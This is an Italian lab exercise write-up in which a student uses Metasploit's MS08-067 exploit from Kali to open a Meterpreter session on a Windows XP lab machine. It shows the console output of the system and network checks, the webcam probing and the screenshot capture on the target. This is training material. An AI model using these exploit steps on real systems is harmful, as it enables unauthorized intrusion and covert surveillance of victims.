

PRATICA S7/L3

Per questo esercizio è stato richiesto di aprire una sessione di Meterpreter sul target Windows XP sfruttando, su Metasploit, la vulnerabilità MS08-067.

OBIETTIVI

- Recuperare uno screenshot tramite la sessione Meterpreter.
- Individuare la presenza o meno di Webcam sulla macchina Windows XP (opzionale).

DESCRIZIONE ESECUZIONE DELL'ESERCIZIO PRATICO

- 1) Tramite Kali ho avviato Metasploit ed ho cercato l'exploit della vulnerabilità MS08-067 e dopo averla trovata l'ho impostata e configurata

```
msf6 > use MS08-067

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Desc
---  -
0  exploit/windows/smb/ms08_067_netapi  2008-10-28      great Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

[*] Using exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

2) Successivamente è stato fatto partire l'exploit e mi si è aperta la shell Meterpreter , tramite diversi comandi mi sono assicurato di essere all'interno della macchina giusta

```
meterpreter > sysinfo
Computer      : WINDOWSXP
OS            : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : it_IT
Domain       : WORKGROUP
Logged On Users : 2
Meterpreter   : x86/windows
meterpreter > █
```

```
meterpreter > ipconfig

Interface 1
=====
Name       : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU        : 1520
IPv4 Address : 127.0.0.1

Interface 2
=====
Name       : Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilit
di pianificazione pacchetti
Hardware MAC : 08:00:27:5c:8d:1c
MTU         : 1500
IPv4 Address : 192.168.50.103
IPv4 Netmask : 255.255.255.0
```

3) A questo punto tramite apposito comando ho controllato se ci fossero webcam attive

```
meterpreter > webcam_list
[-] No webcams were found
meterpreter > webcam_snap
[-] Target does not have a webcam
meterpreter > screenshot
Screenshot saved to: /home/kali/HuKGFqsP.jpeg
meterpreter > ipconfig
```